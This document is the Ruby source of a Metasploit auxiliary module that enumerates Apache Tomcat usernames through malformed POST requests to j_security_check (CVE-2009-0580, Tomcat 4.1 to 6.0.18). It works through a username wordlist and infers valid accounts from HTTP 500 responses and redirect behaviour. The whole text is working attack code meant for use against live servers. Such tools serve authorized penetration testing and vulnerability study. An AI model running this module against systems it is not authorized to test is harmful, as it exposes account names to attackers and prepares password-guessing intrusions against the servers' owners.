Apache Tomcat User Enumeration

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::AuthBrute

  def initialize
    super(
      'Name'           => 'Apache Tomcat User Enumeration',
      'Description'    => %q{
          This module enumerates Apache Tomcat's usernames via malformed requests to
        j_security_check, which can be found in the web administration package. It should
        work against Tomcat servers 4.1.0 - 4.1.39, 5.5.0 - 5.5.27, and 6.0.0 - 6.0.18.
        Newer versions no longer have the "admin" package by default. The 'admin' package
        is no longer provided for Tomcat 6 and later versions.
      },
      'Author'         =>
        [
          'Heyder Andrade <heyder.andrade[at]gmail.com>',
          'Leandro Oliveira <leandrofernando[at]gmail.com>'
        ],
      'References'     =>
        [
          ['BID', '35196'],
          ['CVE', '2009-0580'],
          ['OSVDB', '55055'],
        ],
      'License'        =>  MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true, 'The path of the Apache Tomcat Administration page', '/admin/j_security_check']),
        OptPath.new('USER_FILE',  [ true, "File containing users, one per line",
          File.join(Msf::Config.data_directory, "wordlists", "tomcat_mgr_default_users.txt") ]),
      ])

    deregister_options('PASS_FILE','USERPASS_FILE','USER_AS_PASS','STOP_ON_SUCCESS','BLANK_PASSWORDS')
  end

  def has_j_security_check?
    vprint_status("#{full_uri} - Checking j_security_check...")
    res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
    if res
      vprint_status("#{full_uri} - Server returned: #{res.code.to_s}")
      return true if res.code == 200 or res.code == 302
    end

    false
  end

  def run_host(ip)
    unless has_j_security_check?
      print_error("#{full_uri} - Unable to enumerate users with this URI")
      return
    end

    @users_found = {}

    each_user_pass { |user,pass|
      do_login(user)
    }

    if(@users_found.empty?)
      print_status("#{full_uri} - No users found.")
    else
      print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(", ")}")
      report_note(
        :host => rhost,
        :port => rport,
        :type => 'tomcat.users',
        :data => {:users =>  @users_found.keys.join(", ")}
      )
    end
  end

  def do_login(user)
    post_data = "j_username=#{user}&password=%"
    vprint_status("#{full_uri} - Apache Tomcat - Trying name: '#{user}'")
    begin
      res = send_request_cgi(
        {
          'method'  => 'POST',
          'uri'     => normalize_uri(target_uri.path),
          'data'    => post_data,
        }, 20)

      if res and res.code == 200 and !res.get_cookies.empty?
        vprint_error("#{full_uri} - Apache Tomcat #{user} not found ")
      elsif res and res.code == 200 and res.body =~ /invalid username/i
        vprint_error("#{full_uri} - Apache Tomcat #{user} not found ")
      elsif res and res.code == 500
        # Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html
        vprint_good("#{full_uri} - Apache Tomcat #{user} found ")
        @users_found[user] = :reported
      elsif res and res.body.empty? and res.headers['Location'] !~ /error\.jsp$/
        # Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html
        print_good("#{full_uri} - Apache Tomcat #{user} found ")
        @users_found[user] = :reported
      else
        print_error("#{full_uri} - NOT VULNERABLE")
        return :abort
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
      print_error("#{full_uri} - UNREACHABLE")
      return :abort
    end
  end
end

=begin

If your Tomcat doesn't have the admin package by default, download it here:
http://archive.apache.org/dist/tomcat/

The package name should look something like: apache-tomcat-[version]-admin.zip

=end